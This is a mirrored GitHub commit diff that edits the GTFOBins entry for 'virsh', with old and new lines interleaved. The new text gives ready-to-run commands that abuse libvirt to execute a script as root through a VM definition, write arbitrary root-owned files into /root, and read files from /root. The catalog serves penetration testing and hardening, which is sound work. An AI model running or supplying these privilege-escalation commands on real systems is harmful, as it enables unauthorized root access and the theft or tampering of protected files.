mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add virsh
This commit is contained in:
parent
6722cff3fd
commit
b3f1a8e1c4
@ -1,16 +1,12 @@
|
|||||||
---
|
---
|
||||||
description: |
|
|
||||||
This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group or be able to run `virsh` as sudo.
|
|
||||||
|
|
||||||
functions:
|
functions:
|
||||||
command:
|
sudo:
|
||||||
- description: Execute a script stored on the libvirt server creating a VM using a `<script>` tag on the network interface definition.
|
- code: |
|
||||||
code: |
|
|
||||||
SCRIPT=script_to_run
|
SCRIPT=script_to_run
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
cat > $TF << EOF
|
cat > $TF << EOF
|
||||||
<domain type='kvm'>
|
<domain type='kvm'>
|
||||||
<name>foo</name>
|
<name>x</name>
|
||||||
<os>
|
<os>
|
||||||
<type arch='x86_64'>hvm</type>
|
<type arch='x86_64'>hvm</type>
|
||||||
</os>
|
</os>
|
||||||
@ -22,23 +18,51 @@ functions:
|
|||||||
</devices>
|
</devices>
|
||||||
</domain>
|
</domain>
|
||||||
EOF
|
EOF
|
||||||
virsh -c qemu:///system create $TF
|
sudo virsh -c qemu:///system create $TF
|
||||||
virsh -c qemu:///system destroy foo
|
virsh -c qemu:///system destroy x
|
||||||
file-write:
|
write:
|
||||||
- description: Write a file by creating a storage pool on the target directory and uploading the file as a volume. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. Directories are created with permissions 711, and files with permissions 600. These can be modified using `pool-create|vol-create` with an XML definition file instead of using `pool-create-as|vol-create-as`. Sample XML files can be obtained with `pool-dumpxml|vol-dumpxml`.
|
- description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file.
|
||||||
code: |
|
code: |
|
||||||
LPATH=file_to_read
|
LFILE_DIR=/root
|
||||||
RPATH=file_to_save
|
LFILE_NAME=file_to_write
|
||||||
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
|
||||||
virsh -c qemu:///system vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0
|
echo 'data' > data_to_write
|
||||||
virsh -c qemu:///system vol-upload $RPATH $LPATH
|
|
||||||
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
|
TF=$(mktemp)
|
||||||
file-read:
|
cat > $TF <<EOF
|
||||||
- description: Read a file by creating a storage pool on the target directory and downloading the file as a volume.
|
<volume type='file'>
|
||||||
|
<name>y</name>
|
||||||
|
<key>$LFILE_DIR/$LFILE_NAME</key>
|
||||||
|
<source>
|
||||||
|
</source>
|
||||||
|
<capacity unit='bytes'>5</capacity>
|
||||||
|
<allocation unit='bytes'>4096</allocation>
|
||||||
|
<physical unit='bytes'>5</physical>
|
||||||
|
<target>
|
||||||
|
<path>$LFILE_DIR/$LFILE_NAME</path>
|
||||||
|
<format type='raw'/>
|
||||||
|
<permissions>
|
||||||
|
<mode>0600</mode>
|
||||||
|
<owner>0</owner>
|
||||||
|
<group>0</group>
|
||||||
|
</permissions>
|
||||||
|
</target>
|
||||||
|
</volume>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
|
||||||
|
virsh -c qemu:///system vol-create --pool x --file $TF
|
||||||
|
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
|
||||||
|
virsh -c qemu:///system pool-destroy x
|
||||||
|
read:
|
||||||
|
- description: This requires the user to be in the `libvirt` group.
|
||||||
code: |
|
code: |
|
||||||
RPATH=file_to_get
|
LFILE_DIR=/root
|
||||||
LPATH=file_to_save
|
LFILE_NAME=file_to_read
|
||||||
virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH)
|
|
||||||
virsh -c qemu:///system vol-download $RPATH $LPATH
|
SPATH=file_to_save
|
||||||
virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _)
|
|
||||||
|
virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
|
||||||
|
virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
|
||||||
|
virsh -c qemu:///system pool-destroy x
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user